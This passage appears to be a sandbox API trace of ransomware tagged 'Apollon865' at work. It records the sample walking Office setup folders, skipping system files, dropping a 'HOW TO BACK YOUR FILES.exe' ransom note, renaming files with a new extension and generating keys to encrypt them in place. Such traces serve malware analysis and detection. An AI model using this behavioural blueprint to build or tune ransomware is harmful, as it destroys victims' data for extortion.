	[0075.519] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0075.519] lstrlenW (lpString="Apollon865") returned 10
	[0075.519] lstrcmpiW (lpString1="ice.xrm-ms", lpString2="Apollon865") returned 1
	[0075.519] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="pkeyconfig.companion.dll" | out: lpString1="pkeyconfig.companion.dll") returned="pkeyconfig.companion.dll"
	[0075.519] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24
	[0075.519] lstrlenW (lpString="Apollon865") returned 10
	[0075.519] lstrcmpiW (lpString1="panion.dll", lpString2="Apollon865") returned 1
	[0075.519] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="PowerPoint.en-us" | out: lpString1="PowerPoint.en-us") returned="PowerPoint.en-us"
	[0075.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0075.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5a73c8
	[0075.520] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc90
	[0075.520] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="Apollon865.txt.exe") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2=".") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="..") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="windows") returned -1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="bootmgr") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="temp") returned -1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="pagefile.sys") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="boot") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="ids.txt") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="ntuser.dat") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="perflogs") returned 1
	[0075.520] lstrcmpiW (lpString1="PRJPROR", lpString2="MSBuild") returned 1
	[0075.520] lstrlenW (lpString="PRJPROR") returned 7
	[0075.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us") returned 96
	[0075.521] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="PRJPROR" | out: lpString1="PRJPROR") returned="PRJPROR"
	[0075.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0075.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x5a3168
	[0075.521] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0075.521] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2="Apollon865.txt.exe") returned 1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2=".") returned 1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2="..") returned 1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2="windows") returned -1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2="bootmgr") returned 1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2="temp") returned -1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2="pagefile.sys") returned 1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2="boot") returned 1
	[0075.521] lstrcmpiW (lpString1="Project.en-us", lpString2="ids.txt") returned 1
	[0075.522] lstrcmpiW (lpString1="Project.en-us", lpString2="ntuser.dat") returned 1
	[0075.522] lstrcmpiW (lpString1="Project.en-us", lpString2="perflogs") returned 1
	[0075.522] lstrcmpiW (lpString1="Project.en-us", lpString2="MSBuild") returned 1
	[0075.522] lstrlenW (lpString="Project.en-us") returned 13
	[0075.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR") returned 87
	[0075.522] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Project.en-us" | out: lpString1="Project.en-us") returned="Project.en-us"
	[0075.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0075.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x5aabb0
	[0075.522] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0075.522] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="Apollon865.txt.exe") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2=".") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="..") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="windows") returned -1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="bootmgr") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="temp") returned -1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="pagefile.sys") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="boot") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="ids.txt") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="ntuser.dat") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="perflogs") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.en", lpString2="MSBuild") returned 1
	[0075.522] lstrlenW (lpString="Proof.en") returned 8
	[0075.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us") returned 93
	[0075.522] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Proof.en" | out: lpString1="Proof.en") returned="Proof.en"
	[0075.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0075.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c15d8
	[0075.522] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc70
	[0075.522] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.es", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.es", lpString2="Apollon865.txt.exe") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.es", lpString2=".") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.es", lpString2="..") returned 1
	[0075.522] lstrcmpiW (lpString1="Proof.es", lpString2="windows") returned -1
	[0075.523] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Proof.es" | out: lpString1="Proof.es") returned="Proof.es"
	[0075.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0075.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1698
	[0075.523] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fcb0
	[0075.523] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
	[0075.523] lstrcmpiW (lpString1="Proof.fr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.523] lstrcmpiW (lpString1="Proof.fr", lpString2="Apollon865.txt.exe") returned 1
	[0075.523] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Proof.fr" | out: lpString1="Proof.fr") returned="Proof.fr"
	[0075.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0075.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1758
	[0075.523] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0075.523] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1
	[0075.523] lstrcmpiW (lpString1="Proofing.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.523] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Apollon865.txt.exe") returned 1
	[0075.523] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Proofing.en-us" | out: lpString1="Proofing.en-us") returned="Proofing.en-us"
	[0075.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0075.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbe) returned 0x5aac78
	[0075.523] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fd50
	[0075.523] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1
	[0075.523] lstrcmpiW (lpString1="PROPLUSR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.523] lstrcmpiW (lpString1="PROPLUSR", lpString2="Apollon865.txt.exe") returned 1
	[0075.523] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="PROPLUSR" | out: lpString1="PROPLUSR") returned="PROPLUSR"
	[0075.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0075.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1818
	[0075.523] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0075.523] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1
	[0075.523] lstrcmpiW (lpString1="Publisher.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.523] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Apollon865.txt.exe") returned 1
	[0075.523] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Publisher.en-us" | out: lpString1="Publisher.en-us") returned="Publisher.en-us"
	[0075.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0075.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc0) returned 0x5aad40
	[0075.524] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0075.524] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0075.524] lstrcmpiW (lpString1="Setup.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.524] lstrcmpiW (lpString1="Setup.exe", lpString2="Apollon865.txt.exe") returned 1
	[0075.524] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Setup.exe" | out: lpString1="Setup.exe") returned="Setup.exe"
	[0075.524] lstrlenW (lpString="Setup.exe") returned 9
	[0075.524] lstrlenW (lpString="Apollon865") returned 10
	[0075.524] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Visio.en-us" | out: lpString1="Visio.en-us") returned="Visio.en-us"
	[0075.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0075.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c18d8
	[0075.524] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0075.524] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1
	[0075.524] lstrcmpiW (lpString1="VISIOR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.524] lstrcmpiW (lpString1="VISIOR", lpString2="Apollon865.txt.exe") returned 1
	[0075.524] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="VISIOR" | out: lpString1="VISIOR") returned="VISIOR"
	[0075.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0075.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xae) returned 0x5a3338
	[0075.524] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0075.524] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1
	[0075.524] lstrcmpiW (lpString1="Word.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.524] lstrcmpiW (lpString1="Word.en-us", lpString2="Apollon865.txt.exe") returned 1
	[0075.524] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Word.en-us" | out: lpString1="Word.en-us") returned="Word.en-us"
	[0075.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0075.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb6) returned 0x5c1998
	[0075.524] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0075.524] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0
	[0075.525] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.525] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdf0
	[0075.525] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us"
	[0075.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1998 | out: hHeap=0x580000) returned 1
	[0075.525] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0075.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us") returned 90
	[0075.525] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us"
	[0075.525] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.525] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.610] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x45233b30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45233b30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.610] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.610] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.611] lstrcpyW (in: lpString1=0x2d3e606, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.611] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.611] lstrlenW (lpString="Apollon865") returned 10
	[0075.611] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.Apollon865") returned 111
	[0075.611] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.638] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2424) returned 1
	[0075.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.639] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.639] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.639] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.640] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc80, lpName=0x0) returned 0x118
	[0075.641] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc80) returned 0x100000
	[0075.643] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.643] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.643] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.644] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.644] CloseHandle (hObject=0x118) returned 1
	[0075.644] CloseHandle (hObject=0x15c) returned 1
	[0075.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
